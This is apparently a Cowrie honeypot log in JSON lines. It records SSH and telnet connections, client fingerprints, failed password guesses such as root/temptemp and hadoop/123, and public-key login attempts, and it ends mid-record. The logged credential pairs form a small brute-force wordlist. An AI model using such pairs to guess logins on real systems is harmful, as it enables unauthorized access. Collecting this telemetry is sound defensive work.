{"eventid":"cowrie.login.failed","username":"stems","password":"123456","message":"login attempt [stems/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:38.835225Z","src_ip":"159.65.58.200","session":"584ddbdd31f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:39.035738Z","src_ip":"8.210.75.243","session":"0fddabeba3e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":33756,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee91099870a3","protocol":"ssh","message":"New connection: 103.98.149.87:33756 (10.17.0.5:22) [session: ee91099870a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:40.039277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:40.044099Z","src_ip":"103.98.149.87","session":"ee91099870a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:40.195554Z","src_ip":"159.65.58.200","session":"584ddbdd31f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:40.262248Z","src_ip":"103.98.149.87","session":"ee91099870a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:41.167008Z","src_ip":"103.98.149.87","session":"ee91099870a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:42.392296Z","src_ip":"103.98.149.87","session":"ee91099870a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.203.251.187","src_port":55992,"dst_ip":"10.17.0.5","dst_port":22,"session":"a48fec061f37","protocol":"ssh","message":"New connection: 119.203.251.187:55992 (10.17.0.5:22) [session: a48fec061f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:44.697555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:44.701603Z","src_ip":"119.203.251.187","session":"a48fec061f37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:44.905718Z","src_ip":"119.203.251.187","session":"a48fec061f37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"temptemp","message":"login attempt [root/temptemp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:45.752046Z","src_ip":"119.203.251.187","session":"a48fec061f37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.52871084213257,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:46.839858Z","src_ip":"170.64.224.25","session":"eca10e334d4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:46.958144Z","src_ip":"119.203.251.187","session":"a48fec061f37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:51.328787Z","src_ip":"8.210.75.243","session":"3da416003f75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60528,"dst_ip":"10.17.0.5","dst_port":22,"session":"97ebdc2d37b9","protocol":"ssh","message":"New connection: 8.210.75.243:60528 (10.17.0.5:22) [session: 97ebdc2d37b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:28:10.008680Z"}
{"eventid":"cowrie.session.closed","duration":54.920494556427,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:28:20.141095Z","src_ip":"170.64.224.25","session":"3a58551573b4","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:28:20.391272Z","src_ip":"8.210.75.243","session":"97ebdc2d37b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:28:20.394244Z","src_ip":"8.210.75.243","session":"97ebdc2d37b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:28:20.818959Z","src_ip":"8.210.75.243","session":"80e83877e600","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":34608,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dff66894dd1","protocol":"ssh","message":"New connection: 165.227.170.113:34608 (10.17.0.5:22) [session: 9dff66894dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:28:46.567669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:28:46.570781Z","src_ip":"165.227.170.113","session":"9dff66894dd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:28:46.653825Z","src_ip":"165.227.170.113","session":"9dff66894dd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzxc.","message":"login attempt [root/qweasdzxc.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:28:47.027123Z","src_ip":"165.227.170.113","session":"9dff66894dd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42212,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea42134543cb","protocol":"telnet","message":"New connection: 170.64.224.25:42212 (159.203.135.109:23) [session: ea42134543cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:28:47.057781Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:28:48.113719Z","src_ip":"165.227.170.113","session":"9dff66894dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:28:58.377082Z","src_ip":"8.210.75.243","session":"156d3b517ee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44422,"dst_ip":"10.17.0.5","dst_port":22,"session":"b174a960e663","protocol":"ssh","message":"New connection: 8.210.75.243:44422 (10.17.0.5:22) [session: b174a960e663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:28:59.147862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:28:59.208172Z","src_ip":"8.210.75.243","session":"b174a960e663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:00.769221Z","src_ip":"8.210.75.243","session":"b174a960e663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:05.508315Z","src_ip":"8.210.75.243","session":"b174a960e663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:06.840848Z","src_ip":"8.210.75.243","session":"b174a960e663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.222.20.20","src_port":46878,"dst_ip":"10.17.0.5","dst_port":22,"session":"7308a7db9084","protocol":"ssh","message":"New connection: 201.222.20.20:46878 (10.17.0.5:22) [session: 7308a7db9084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:10.326098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:10.331679Z","src_ip":"201.222.20.20","session":"7308a7db9084","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:10.455181Z","src_ip":"201.222.20.20","session":"7308a7db9084","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.65.107.14","src_port":36482,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcfc5c00d054","protocol":"ssh","message":"New connection: 185.65.107.14:36482 (10.17.0.5:22) [session: bcfc5c00d054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:10.460603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:10.464052Z","src_ip":"185.65.107.14","session":"bcfc5c00d054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:10.582330Z","src_ip":"185.65.107.14","session":"bcfc5c00d054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server2026","message":"login attempt [server/server2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:10.985148Z","src_ip":"201.222.20.20","session":"7308a7db9084","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:41:6b:d1:dc:69:d1:20:33:be:e4:f7:3f:74:d6:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKigBflNYJ4RXJuEvFQ1XbET0qNDdn7kNDaRcyjRFnFKSxWIO3WZR7OHAcdlbAaKP94V6b9rZHjgb/jHAtyqlY3mNumZUN6CGOmflrhER7Fj83vcAB2u8o1pB+4IB3a8wOw5zHrg/wsYMPF/fwFXjCaEa0LBdAYxDf88vCpompGq5+dreMtLkiylLlULhLiD9yv2tbVqh1MjqpJYiGMub7YNG/DTFKgy4ofEhPbZqkhOw1bMhx6xxwLtE0tAJm3PCDUETahts/G2kTpRfeJ9BYuuZ2Ce97T5yP0/ANVnIQBvcZyeLEsnAoBwZi+ANrF0ZlFOLCvnNp5HK/9rpWJ/1T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:41:6b:d1:dc:69:d1:20:33:be:e4:f7:3f:74:d6:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:11.151258Z","src_ip":"185.65.107.14","session":"bcfc5c00d054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:41:6b:d1:dc:69:d1:20:33:be:e4:f7:3f:74:d6:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKigBflNYJ4RXJuEvFQ1XbET0qNDdn7kNDaRcyjRFnFKSxWIO3WZR7OHAcdlbAaKP94V6b9rZHjgb/jHAtyqlY3mNumZUN6CGOmflrhER7Fj83vcAB2u8o1pB+4IB3a8wOw5zHrg/wsYMPF/fwFXjCaEa0LBdAYxDf88vCpompGq5+dreMtLkiylLlULhLiD9yv2tbVqh1MjqpJYiGMub7YNG/DTFKgy4ofEhPbZqkhOw1bMhx6xxwLtE0tAJm3PCDUETahts/G2kTpRfeJ9BYuuZ2Ce97T5yP0/ANVnIQBvcZyeLEsnAoBwZi+ANrF0ZlFOLCvnNp5HK/9rpWJ/1T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:29:11.154258Z","src_ip":"185.65.107.14","session":"bcfc5c00d054","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:42:7d:36:fa:f0:23:27:ad:bd:fb:e2:00:e2:e3:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG1AI2GpSYzXFpYILcbahHVNXTYc/sRAm2zV3nEVINPmQUoz94P5IkUkb5aj+CmiKordpEoIPiPbrY3dgZi3LPNSrs8r9mliqgJXY5U1QAVcitlZeFZCTeYImbF+ATtSqS4RZ4a93w/QNtinksQ3VupY7EMILa2d8ngbsOTdhHjxn0gKifEAdOENqqD2Z1QgJftaRqLaj2XCWe7GOGv72OJNoNERbLRN78e4gP4wdXwAOlqru7GQQN8Gbit65ICi/mu7GE/EXt0Cd8jGMBTKq0oS50Ln0SFLmBke3irub+aptLZJky+6+D3cDIrZpJvE97B2mtBwAX5EK8gd5sU7sb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 